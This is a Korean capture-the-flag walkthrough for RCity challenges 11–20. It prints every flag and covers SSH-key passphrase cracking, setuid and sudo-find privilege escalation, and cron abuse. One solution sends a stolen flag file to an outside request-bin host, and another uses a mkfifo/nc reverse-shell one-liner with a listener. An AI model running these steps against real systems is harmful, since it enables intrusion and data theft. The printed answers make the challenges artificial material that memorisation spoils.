RCity 11~20 해설

2023-12-20

RCity11

FLAG (스포일러 방지)
flag: d7M6h9R3jP4w1Z2c0V8

https://ctf.redraccoon.kr/challenges#Operation%20RCity11-14

힌트: john

해당 문제는 john the ripper를 사용하여 SSH Private key를 크래킹하는 문제입니다.

주의! apt 패키지를 통해 배포되는 john(1.9.0)에서는 SSH key brute force가 안되는 버그가 있으므로, 직접 소스코드를 빌드해서 사용해야 합니다.

관련 issue

직접 빌드하는 방법은 다음과 같습니다.

 git clone https://github.com/openwall/john -b bleeding-jumbo john
 cd ~/src/john/src
 ./configure && make -s clean && make -sj4

wordlist를 사용하여 cracking하면 password를 구할 수 있습니다.

  ./john/run/john --wordlist=asdf.txt id_rsa.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
sayang           (id_rsa.rcity12)
1g 0:00:00:00 DONE (2023-10-21 17:20) 1.111g/s 142.2p/s 142.2c/s 142.2C/s 123456..555555
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

따라서 password는 sayang

해당 ssh public key를 가지고 ssh 접속해보겠습니다.

rcity11@9fa6a9d8227f:~$ ssh [email protected] -p 31338 -i id_rsa.rcity12
...

Enter passphrase for key 'id_rsa.rcity12':

...

rcity12@9fa6a9d8227f:~$ whoami
rcity12

성공적으로 접속하였습니다.

rcity12@0d903e325737:~$ ls
rcity11-flag-for-ctfd.txt  rcity12-flag1.txt  rcity12-flag2.txt
rcity12@0d903e325737:~$ cat rcity11-flag-for-ctfd.txt
*******************

따라서 flag를 획득할 수 있습니다.

RCity12

FLAG (스포일러 방지)
flag: f2L9x6R5gH3q8C4s7Z0

https://ctf.redraccoon.kr/challenges#Operation%20RCity12-16

힌트: diff

이번 문제는 긴 문자열이 들어가 있는 두개의 파일 간의 차이를 찾아 flag를 획득하는 문제입니다.

diff를 사용하여 두 파일을 비교해보겠습니다.

rcity12@0d903e325737:~$ ls
rcity11-flag-for-ctfd.txt  rcity12-flag1.txt  rcity12-flag2.txt
rcity12@9fa6a9d8227f:~$ diff rcity12-flag1.txt rcity12-flag2.txt
141c141
< Quisque a vestibulum tellus. Vestibulum quis metus in tortor semper vestibulum vel at sem. Curabitur consect
---
> Quisque a vestibulum tellus. Vestibulum ZjJMOXg2UjVnSDNxOEM0czdaMAo= quis metus in tortor semper vestibulum vel at sem. Curabitur consect

base64로 인코딩된 문자열을 찾을 수 있습니다. 해당 문자열을 복호화하면 flag를 획득할 수 있습니다.

rcity12@9fa6a9d8227f:~$ echo "ZjJMOXg2UjVnSDNxOEM0czdaMAo=" | base64 -d
*******************

RCity13

FLAG (스포일러 방지)
flag: p4Q7d3J2mS6w5H0r8G1

https://ctf.redraccoon.kr/challenges#Operation%20RCity13-17

힌트: setuid

공식해설: https://www.youtube.com/watch?v=A3ynyBL-neo

해당 문제는 바이너리 파일을 분석하여 flag를 획득하는 문제입니다.

ltrace로 문제를 해결해보도록 하겠습니다.

ltrace로 문자열을 넣어보면서 해당 파일을 실행해보겠습니다.

 ltrace ./rcity13-binary asdf asdf
strlen("\265\242\264\242\246\265\244\257\352\264\242\263\262\256\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")             = 29
strlen("r\242\264\242\246\265\244\257\352\264\242\263\262\256\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                = 29
strlen("re\264\242\246\265\244\257\352\264\242\263\262\256\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                   = 29
strlen("res\242\246\265\244\257\352\264\242\263\262\256\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                      = 29
strlen("rese\246\265\244\257\352\264\242\263\262\256\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                         = 29
strlen("resea\265\244\257\352\264\242\263\262\256\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                            = 29
strlen("resear\244\257\352\264\242\263\262\256\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                               = 29
strlen("researc\257\352\264\242\263\262\256\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                                  = 29
strlen("research\352\264\242\263\262\256\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                                     = 29
strlen("research-\264\242\263\262\256\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                                        = 29
strlen("research-s\242\263\262\256\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                                           = 29
strlen("research-se\263\262\256\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                                              = 29
strlen("research-set\262\256\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                                                 = 29
strlen("research-setu\256\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                                                    = 29
strlen("research-setui\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                                                       = 29
strlen("research-setuid\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                                                          = 29
strlen("research-setuid-\256\263\264\352\256\252\267\250\265\263\246\251\263")                                                             = 29
strlen("research-setuid-i\263\264\352\256\252\267\250\265\263\246\251\263")                                                                = 29
strlen("research-setuid-it\264\352\256\252\267\250\265\263\246\251\263")                                                                   = 29
strlen("research-setuid-its\352\256\252\267\250\265\263\246\251\263")                                                                      = 29
strlen("research-setuid-its-\256\252\267\250\265\263\246\251\263")                                                                         = 29
strlen("research-setuid-its-i\252\267\250\265\263\246\251\263")                                                                            = 29
strlen("research-setuid-its-im\267\250\265\263\246\251\263")                                                                               = 29
strlen("research-setuid-its-imp\250\265\263\246\251\263")                                                                                  = 29
strlen("research-setuid-its-impo\265\263\246\251\263")                                                                                     = 29
strlen("research-setuid-its-impor\263\246\251\263")                                                                                        = 29
strlen("research-setuid-its-import\246\251\263")                                                                                           = 29
strlen("research-setuid-its-importa\251\263")                                                                                              = 29
strlen("research-setuid-its-importan\263")                                                                                                 = 29
strlen("research-setuid-its-important")                                                                                                    = 29
strcmp("asdf", "research-setuid-its-important")                                                                                            = -17
fwrite("[*] Incorrect password. Exiting."..., 1, 35, 0x7f18f3f8e6a0[*] Incorrect password. Exiting...
)                                                                       = 35
exit(1 <no return ...>
+++ exited (status 1) +++

첫번째 인자를 "research-setuid-its-important" 문자열과 비교하므로(strcmp), 첫번째 문자열은 "research-setuid-its-important"이여야 합니다.

 ltrace ./rcity13-binary research-setuid-its-important asdf    
strlen("\265\242\264\242\246\265\244\257\352\264\242\263\262\256\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")             = 29
strlen("r\242\264\242\246\265\244\257\352\264\242\263\262\256\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                = 29
strlen("re\264\242\246\265\244\257\352\264\242\263\262\256\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                   = 29
strlen("res\242\246\265\244\257\352\264\242\263\262\256\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                      = 29
strlen("rese\246\265\244\257\352\264\242\263\262\256\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                         = 29
strlen("resea\265\244\257\352\264\242\263\262\256\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                            = 29
strlen("resear\244\257\352\264\242\263\262\256\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                               = 29
strlen("researc\257\352\264\242\263\262\256\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                                  = 29
strlen("research\352\264\242\263\262\256\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                                     = 29
strlen("research-\264\242\263\262\256\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                                        = 29
strlen("research-s\242\263\262\256\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                                           = 29
strlen("research-se\263\262\256\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                                              = 29
strlen("research-set\262\256\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                                                 = 29
strlen("research-setu\256\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                                                    = 29
strlen("research-setui\243\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                                                       = 29
strlen("research-setuid\352\256\263\264\352\256\252\267\250\265\263\246\251\263")                                                          = 29
strlen("research-setuid-\256\263\264\352\256\252\267\250\265\263\246\251\263")                                                             = 29
strlen("research-setuid-i\263\264\352\256\252\267\250\265\263\246\251\263")                                                                = 29
strlen("research-setuid-it\264\352\256\252\267\250\265\263\246\251\263")                                                                   = 29
strlen("research-setuid-its\352\256\252\267\250\265\263\246\251\263")                                                                      = 29
strlen("research-setuid-its-\256\252\267\250\265\263\246\251\263")                                                                         = 29
strlen("research-setuid-its-i\252\267\250\265\263\246\251\263")                                                                            = 29
strlen("research-setuid-its-im\267\250\265\263\246\251\263")                                                                               = 29
strlen("research-setuid-its-imp\250\265\263\246\251\263")                                                                                  = 29
strlen("research-setuid-its-impo\265\263\246\251\263")                                                                                     = 29
strlen("research-setuid-its-impor\263\246\251\263")                                                                                        = 29
strlen("research-setuid-its-import\246\251\263")                                                                                           = 29
strlen("research-setuid-its-importa\251\263")                                                                                              = 29
strlen("research-setuid-its-importan\263")                                                                                                 = 29
strlen("research-setuid-its-important")                                                                                                    = 29
strcmp("research-setuid-its-important", "research-setuid-its-important")                                                                   = 0
strtok("asdf", " ")                                                                                                                        = "asdf"
strtok(nil, " ")                                                                                                                           = nil
malloc(24)                                                                                                                                 = 0x55b1d3bbe2a0
execv("asdf", 0x55b1d3bbe2a0)                                                                                                              = -1
perror("execv"execv: No such file or directory
)                                                                                                                            = <void>
+++ exited (status 1) +++

두번째 인자로는 execv로 실행하므로 두번째인자에 "/usr/bin/whoami"를 준다면

rcity13@bfa6bf8591d9:~$ ./rcity13-binary research-setuid-its-important /usr/bin/whoami
rcity14

따라서 ./rcity13-binary research-setuid-its-important "/bin/bash -p" 으로 rcity14 shell를 획득할 수 있습니다.

rcity13@9fa6a9d8227f:~$ ./rcity13-binary research-setuid-its-important "/bin/bash -p"
bash-5.1$ cat /home/rcity14/
cat: /home/rcity14/: Is a directory
bash-5.1$ ls /home/rcity14/
rcity13-flag.txt
bash-5.1$ cat /home/rcity14/rcity13-flag.txt
*******************bash-5.1$

RCity14

FLAG (스포일러 방지)
flag: u9N4r6D2fJ3q7C8w0H5

https://ctf.redraccoon.kr/challenges#Operation%20RCity14-18

힌트: sudo & gtfobins

공식해설: https://www.youtube.com/watch?v=FLPfQtLTotg

해당 문제는 sudo의 권한을 활용하여 flag를 획득하는 문제입니다.

rcity14@38924f6cda7d:~$ sudo -l
Matching Defaults entries for rcity14 on 38924f6cda7d:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User rcity14 may run the following commands on 38924f6cda7d:
    (rcity15) NOPASSWD: /usr/bin/find
rcity14@38924f6cda7d:~$

rcity15 권한으로 find 명령어를 사용할 수 있습니다.

rcity14@38924f6cda7d:~$ ls -al /home/rcity15
total 32
drwxr-xr-x 1 root    root    4096 Oct 13 08:07 .
drwxr-xr-x 1 root    root    4096 Oct 13 08:06 ..
-rw-r--r-- 1 root    root     220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 root    root    3771 Jan  6  2022 .bashrc
-rw-r--r-- 1 root    root     807 Jan  6  2022 .profile
-r--r----- 1 rcity15 rcity15   19 Oct 13 08:07 rcity14-flag.txt
-r--r----- 1 root    rcity15   43 Oct 13 08:07 rcity15-data.bin

/home/rcity15/rcity14-flag.txt 를 읽으면 rcity15의 flag를 획득할 수 있습니다.

따라서 sudo를 이용하여 rcity15 권한으로 find 명령어를 실행하면서 /home/rcity15/rcity14-flag.txt 파일을 읽으면 flag를 획득할 수 있습니다.

rcity14@38924f6cda7d:~$ sudo -u rcity15 find /home/rcity15 -name "rcity14-flag.txt" -exec cat {} \;
*******************

RCity15

FLAG (스포일러 방지)
flag: z6Q3m8X4s1G5h9R7d0L

https://ctf.redraccoon.kr/challenges#Operation%20RCity15-19

힌트: xor

공식해설: https://youtu.be/FLPfQtLTotg?si=gMufeZsxL5nrs1qH&t=308

이번 문제는 XOR로 암호화된 파일을 복호화하여 플래그를 획득하는 문제입니다.

rcity15@9fa6a9d8227f:~$ file rcity15-data.bin
rcity15-data.bin: data
rcity15@9fa6a9d8227f:~$ xxd rcity15-data.bin
00000000: 273b 3673 353f 3234 733a 2073 2965 0260  ';6s5?24s: s)e.`
00000010: 3e6b 0b67 2062 1466 3b6a 0164 3763 1f0a  >k.g b.f;j.d7c..
00000020: 0a6b 6579 2069 7320 3533 0a              .key is 53.

이때, key는 53이므로, 해당 파일을 xor 복호화를 해보겠습니다.

XOR 복호화는 XOR 연산하면 되므로 python 코드를 작성하면 다음과 같습니다.

key = 0x53

with open("rcity15-data.bin", 'rb') as f:
    data = f.read()
    
result = ""

for b in data:
    result += chr(b ^ key)

print(result)
 python index.py
the flag is z6Q3m8X4s1G5h9R7d0LYY86*s: sf`Y

key는 19글자이므로 19글자만 추출하면 flag를 획득할 수 있습니다.

 python
Python 3.8.10 (default, Jul  4 2022, 18:52:13) 
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> a = 'z6Q3m8X4s1G5h9R7d0LYY86'
>>> a[:19]
'*******************'

RCity16

FLAG (스포일러 방지)
flag: 7c2kCGahUE1HABrSsm5

https://ctf.redraccoon.kr/challenges#Operation%20RCity16-20

힌트: git

이번 문제는 git repository에 숨겨진 flag를 찾는 문제입니다.

git은 .git 폴더에 저장되므로, grep를 활용하여 찾아보겠습니다.

rcity16@9fa6a9d8227f:~$ grep -rn -i 'flag'
.git/config:7:  name = rcity16-flag.txt: 7c2kCGahUE1HABrSsm5
.git/logs/refs/heads/master:1:0000000000000000000000000000000000000000 c21ac4cd2c6acacaf3b33a240c6a1c69feca5b77 rcity16-flag.txt: 7c2kCGahUE1HABrSsm5 <[email protected]m> 1702713966 +0000 commit (initial): Initial commit by Groot
.git/logs/refs/heads/master:2:c21ac4cd2c6acacaf3b33a240c6a1c69feca5b77 f5f3eae6e5336927436bd49d29e53ebee2293911 rcity16-flag.txt: 7c2kCGahUE1HABrSsm5 <[email protected]m> 1702713966 +0000 commit: Add feature A by Groot
.git/logs/refs/heads/master:3:f5f3eae6e5336927436bd49d29e53ebee2293911 11bdb566b52c5c3fb8d77b96cb52605122a657d3 rcity16-flag.txt: 7c2kCGahUE1HABrSsm5 <[email protected]m> 1702713966 +0000 commit: Fix bug in feature A by Choi
.git/logs/refs/heads/master:4:11bdb566b52c5c3fb8d77b96cb52605122a657d3 e1fccf22ccdafb21f28e8941f8ef48aa9680ca2f rcity16-flag.txt: 7c2kCGahUE1HABrSsm5 <[email protected]m> 1702713966 +0000 commit: Add feature B by Groot
.git/logs/HEAD:1:0000000000000000000000000000000000000000 c21ac4cd2c6acacaf3b33a240c6a1c69feca5b77 rcity16-flag.txt: 7c2kCGahUE1HABrSsm5 <[email protected]m> 1702713966 +0000  commit (initial): Initial commit by Groot
.git/logs/HEAD:2:c21ac4cd2c6acacaf3b33a240c6a1c69feca5b77 f5f3eae6e5336927436bd49d29e53ebee2293911 rcity16-flag.txt: 7c2kCGahUE1HABrSsm5 <[email protected]m> 1702713966 +0000  commit: Add feature A by Groot
.git/logs/HEAD:3:f5f3eae6e5336927436bd49d29e53ebee2293911 11bdb566b52c5c3fb8d77b96cb52605122a657d3 rcity16-flag.txt: 7c2kCGahUE1HABrSsm5 <[email protected]m> 1702713966 +0000  commit: Fix bug in feature A by Choi
.git/logs/HEAD:4:11bdb566b52c5c3fb8d77b96cb52605122a657d3 e1fccf22ccdafb21f28e8941f8ef48aa9680ca2f rcity16-flag.txt: 7c2kCGahUE1HABrSsm5 <[email protected]m> 1702713966 +0000  commit: Add feature B by Groot
.git/hooks/fsmonitor-watchman.sample:140:       # return the fast "everything is dirty" flag to git and do the
rcity16@9fa6a9d8227f:~$ cat .git/config
[core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
[user]
    name = rcity16-flag.txt: 7c2kCGahUE1HABrSsm5
    email = [email protected]

git 계정 이름에 flag가 있는 것을 확인할 수 있습니다.

RCity17

FLAG (스포일러 방지)
flag: p2q7d3i2mS6w5c0r6G1

https://ctf.redraccoon.kr/challenges#Operation%20RCity17-21

힌트: git & sort

git 로그별 패치 내역을 확인해보겠습니다.

git log -p

해당 로그에서 flag를 획득할 수 있습니다.

RCity18

FLAG (스포일러 방지)
flag: a1b2c3d4e5f6g7h8i9

https://ctf.redraccoon.kr/challenges#Operation%20RCity18-22

힌트: git & tr & rev

git 로그를 확인하면 각 git 메시지마다 flag 한 글자씩 넣어둔 것을 확인할 수 있습니다.

commit c411f555af69756d659fad57c01d0556ad3a9167
Author: rcity18 <[email protected]m>
Date:   Fri Oct 13 08:07:21 2023 +0000

    Add flag character 9 by User

따라서 git 로그를 반대로 출력하여 flag 글자를 모아보면

git log --reverse

RACCONCITY...rcity19{a1b2c3d4e5f6g7h8i9}WELCOME..이므로 flag를 획득할 수 있습니다.

RCity19

FLAG (스포일러 방지)
flag: h1T6w8N2z4R9s5P0f3J

https://ctf.redraccoon.kr/challenges#Operation%20RCity19-23

힌트: cron

rcity20 유저의 cron 정보를 확인해보면

rcity19@9fa6a9d8227f:~$ ls -al /etc/cron.d/rcity20_cronjob
-rw-r--r-- 1 root root 42 Dec 16 08:06 /etc/cron.d/rcity20_cronjob
rcity19@9fa6a9d8227f:~$ cat /etc/cron.d/rcity20_cronjob
* * * * * rcity20 python3 /tmp/rcity20.py

매 분마다 /tmp/log에 rcity20.py이 실행됩니다.

야매 풀이 (flag.txt만 읽기)

Request Bin를 활용하여 flag 값을 읽어서 외부 서버로 보내는 방법으로 flag를 획득해보겠습니다.

/tmp/rcity20.py

import urllib.request
from urllib import parse

with open("/home/rcity20/flag.txt", 'r') as f:
    data = f.read()

print(data)

query = {
    'asdf': data
}

q = parse.urlencode(query, encoding='UTF-8')
url = f"https://fgedofd.request.dreamhack.games/?{q}"


with urllib.request.urlopen(url) as response:
   html = response.read()

print(data)

asdf=rcity20+user+password+h1T6w8N2z4R9s5P0f3J%0A

자 이제 해당 값을 urldecode 하면 flag를 획득할 수 있습니다.

from urllib import parse

data = "rcity20+user+password+h1T6w8N2z4R9s5P0f3J%0A"
url = parse.unquote(data)

print(data)
 python decode.py
rcity20+user+password+h1T6w8N2z4R9s5P0f3J%0A

정석 풀이 (Reverse Shell 획득)

https://tpetersonkth.github.io/2021/10/16/Creating-a-Basic-Python-Reverse-Shell-Listener.html

  1. 두 개의 python 파일을 만듭니다.

/tmp/rcity20.py

import os
os.system("mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 127.0.0.1 10001 >/tmp/f")

/tmp/client.py

import socket, sys, time

def listen(ip,port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind((ip, port))
    s.listen(1)
    print("Listening on port " + str(port))
    conn, addr = s.accept()
    print('Connection received from ',addr)
    while True:
        #Receive data from the target and get user input
        ans = conn.recv(1024).decode()
        sys.stdout.write(ans)
        command = input()

        #Send command
        command += "\n"
        conn.send(command.encode())
        time.sleep(1)

        #Remove the output of the "input()" function
        sys.stdout.write("\033[A" + ans.split("\n")[-1])

listen("127.0.0.1", 10001)
  1. python3 client.py

잠시 대기하고 있으면 reverse shell이 열리고 flag 획득이 가능합니다.

RCity20

FLAG (스포일러 방지)
flag: 460851D8d60a3494e8A

https://ctf.redraccoon.kr/challenges#Operation%20RCity20-54

힌트: scp

rcity21-id_rsa.key SSH private 키가 있으므로 해당 파일을 사용하여 rcity21에 접속할 수 있습니다.

ssh -i rcity21-id_rsa.key [email protected] -p 31338

이때 해당 key 권한이 400이 아니므로, Permission denied가 발생합니다.

따라서 scp를 활용하여 로컬에 받은 뒤 시도하거나 /tmp 폴더로 옮긴 후, 400 권한을 부여해주면 됩니다.

rcity20@9fa6a9d8227f:~$ cp rcity21-id_rsa.key /tmp/asdf
rcity20@9fa6a9d8227f:~$ cd /tmp/asdf
rcity20@9fa6a9d8227f:/tmp/asdf$ chmod 400 rcity21-id_rsa.key
rcity20@9fa6a9d8227f:/tmp/asdf$ ssh -i rcity21-id_rsa.key [email protected] -p 31338
...
rcity21@9fa6a9d8227f:~$ whoami
rcity21
rcity21@38924f6cda7d:~$ ls
rcity21-flag.txt  rcity22.png
rcity21@38924f6cda7d:~$ cat rcity21-flag.txt
*******************